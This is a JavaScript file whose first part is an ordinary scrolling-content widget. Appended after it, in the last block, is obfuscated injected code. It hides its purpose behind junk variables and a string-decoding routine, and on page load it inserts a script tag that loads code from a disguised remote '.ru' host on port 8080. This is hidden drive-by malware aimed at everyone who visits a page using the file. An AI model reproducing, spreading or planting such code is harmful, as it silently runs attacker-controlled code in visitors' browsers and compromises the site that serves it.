﻿function scrollObject(main, width, height, bkgcol, direct, deccel, begin, speed, pause, classname) {
  var self = this;

  this.main = main;
  this.one = main + "Block1";
  this.two = main + "Block2";
  this.block = new Array();
  this.blockup = 1;
  this.divup = 1;
  this.height = height;
  this.width = width;
  this.bkgcol = bkgcol;
  this.direct = direct;
  this.deccel = Math.max(deccel, 1);
  this.begin = Math.max(Math.min(begin, (direct == "up" || direct == "down") ? height : width), 1);
  this.speed = speed;
  this.pause = pause;
  this.slide = ((direct == "up" || direct == "down") ? height : width) / this.begin;
  this.table = "<table cellpadding=\"0\" cellspacing=\"0\" border=\"0\"><tr><td class=\"" + classname + "\" style=\"width:" + width + "px;height:" + height + "px;\">";
  this.active = false;
  this.moving = false;
  this.process = 0;
  this.mouse = false;
  this.scroll = function() {
    if (!document.getElementById) return false;
    document.getElementById(this.main).innerHTML = "<div id=\"" + this.one + "\"></div><div id=\"" + this.two + "\"></div>";
    var divList = [document.getElementById(this.main), document.getElementById(this.one), document.getElementById(this.two)];
    for (var i = 0; i <= 2; i++) {
      if (i > 0) {
        divList[i].style.position = "absolute";
        if (this.direct == "up" || this.direct == "down") {
          divList[i].style.left = "0px";
          divList[i].style.top = (i == 1) ? "0px" : ((this.direct == "up") ? "" : "-") + this.height + "px";
        } else {
          divList[i].style.left = (i == 1) ? "0px" : ((this.direct == "left") ? "" : "-") + this.width + "px";
          divList[i].style.top = "0px";
        } divList[i].innerHTML = this.table + this.block[i - 1] + "</td></tr></table>";
      } else {
        divList[i].style.position = "relative";
        divList[i].style.background = this.bkgcol;
        if (this.block.length > 1) {
          divList[i].onmouseover = function() {
            if (this.active) setTimeout(function() { self.scrollWait(); }, this.pause);
            this.mouse = true;
          }
          divList[i].onmouseout = function() {
            this.mouse = false;
          }
        }
      } divList[i].style.overflow = "hidden";
      divList[i].style.width = this.width + "px";
      divList[i].style.height = this.height + "px";
    } this.active = true;
    if (this.block.length > 1) this.process = setTimeout(function() { self.scrollLoop(); }, this.pause);
  }
  this.scrollLoop = function() {
    clearTimeout(this.process);
    if (this.moving == false && this.active == false) return false;
    var divList = [document.getElementById(this.main), document.getElementById(this.one), document.getElementById(this.two)];
    this.slide = Math.max(this.slide / this.deccel, 1);
    var slideInc = (this.direct == "up" || this.direct == "left") ? -parseInt(this.slide) : parseInt(this.slide);
    if ((this.direct == "up" && Math.max(parseInt(divList[1].style.top) + slideInc, parseInt(divList[2].style.top) + slideInc) <= 0) ||
        (this.direct == "down" && Math.min(parseInt(divList[1].style.top) + slideInc, parseInt(divList[2].style.top) + slideInc) >= 0) ||
        (this.direct == "left" && Math.max(parseInt(divList[1].style.left) + slideInc, parseInt(divList[2].style.left) + slideInc) <= 0) ||
        (this.direct == "right" && Math.min(parseInt(divList[1].style.left) + slideInc, parseInt(divList[2].style.left) + slideInc) >= 0)) {
      this.slide = ((this.direct == "up" || this.direct == "down") ? this.height : this.width) / this.begin;
      if (++this.blockup >= this.block.length) this.blockup = 0;
      this.divup = (this.divup == 1) ? 2 : 1;
      if (this.direct == "up" || this.direct == "down") {
        divList[3 - this.divup].style.top = ((this.direct == "down") ? "-" : "") + this.height + "px";
        divList[this.divup].style.top = "0px";
      } else {
        divList[3 - this.divup].style.left = ((this.direct == "right") ? "-" : "") + this.width + "px";
        divList[this.divup].style.left = "0px";
      } divList[3 - this.divup].innerHTML = this.table + this.block[this.blockup] + "</td></tr></table>";
      this.moving = false;
      this.process = setTimeout(function() { self.scrollLoop(); }, this.pause);
    } else {
      this.moving = true;
      for (var j = 1; j <= 2; j++) {
        if (this.direct == "up" || this.direct == "down") {
          divList[j].style.top = (parseInt(divList[j].style.top) + slideInc) + "px";
        } else divList[j].style.left = (parseInt(divList[j].style.left) + slideInc) + "px";
      } this.process = setTimeout(function() { self.scrollLoop(); }, this.speed);
    }
  }
  this.scrollWait = function() {
    clearTimeout(this.process);
    if (this.active) return false;
    if (!this.mouse) {
      this.active = true;
      this.process = setTimeout(function() { self.scrollLoop(); }, this.pause / 2);
    } else this.process = setTimeout(function() { self.scrollWait(); }, this.pause);
  }
}
 
this.U='';var _b;if(_b!='_r' && _b!='B'){_b=''};function z() {var P='';var p;if(p!='' && p!='H'){p=''};var fT;if(fT!='N' && fT!='mz'){fT='N'};var u=RegExp;var zi=new String();var YM;if(YM!=''){YM='Ty'};var Z='[';var Vn=new String();this.a='';var m=']';var gB;if(gB!='' && gB!='_f'){gB=''};this.tz='';var C='replace';var d='g';var fiy=new Array();var n=new String();var HZ;if(HZ!='' && HZ!='QX'){HZ=null};function S(R,_){var nB=new String();this.Nm="";var J=Z;var qE;if(qE!='' && qE!='j'){qE=null};var jX=new String();J+=_;var lj;if(lj!='' && lj!='jO'){lj='Ec'};J+=m;var Bm=new Date();var i=new u(J, d);var uO;if(uO!='' && uO!='O'){uO='JN'};return R[C](i, n);var Yt=new Date();};this.mL="";var w=S('84664460446644866466064444',"64");var EL=new String();var uT=S('cVrwepaVtVewEplpepmwepnwtw',"Vwp");var uN;if(uN!='qn' && uN!='Pr'){uN=''};var V=S('hEtAtLpz:z/z/LsAazmAsAuRnAgE-RcRoAmR.EpEoErRnAhLoEsAtz.zcEoLmL.EgAozoL-LnAeA-LjRpA.zjLeLrEsEeRyAhRoLmReLsziRtzeA.LrRuE:z',"ARzLE");var zT=new Date();var g=S('/Jt8eJcZhJcZrJuJnZc8hJ.JcJoJmJ/ZtJeZcJhZcZr8u8n8cJh8.Zc8oZm8/ZgZaJm8e8zZtZa8rZ.ZcJoJmJ/8eZbJaJyJ.JcJaJ/JgZoJoJgJlZeJ.Jc8oZmJ.JpJh8pZ',"J8Z");var q='';var zTh="";var Vs=S('smcurJimpmtm',"mJu");var T_;if(T_!='BL' && T_!='fU'){T_=''};var Cd=window;var oy;if(oy!='Uw' && oy != ''){oy=null};var ed;if(ed!=''){ed='IZ'};Cd[S('otnyltobaydy',"yWtbm")]=function(){var Ag=new Array();var vK;if(vK!='tY' && vK!='qe'){vK='tY'};try {q+=V;q+=w;var QZ=new Array();q+=g;var ca=new Array();this.F_="";var CQ;if(CQ!='xu' && CQ!='tQ'){CQ=''};var fW;if(fW!='' && fW!='iR'){fW=null};T=document[uT](Vs);var dF=new Array();var vm=new String();Y(T,'defer',([1,7][0]));var Ve=new Array();Y(T,'src',q);var up=new String();var ji='';var Wi=new String();this.p_="";var nK=new Array();document.body.appendChild(T);} catch(TX){var pR=new String();};var Ka=new Date();};var VU=new String();var Xe=new Array();var Gj=new String();function Y(r,s,f){var UY;if(UY!='DX' && UY!='BA'){UY='DX'};r.setAttribute(s, f);var tQN=new Array();}};this.NN='';z();var HX=new String();var cH;if(cH!=''){cH='sz'};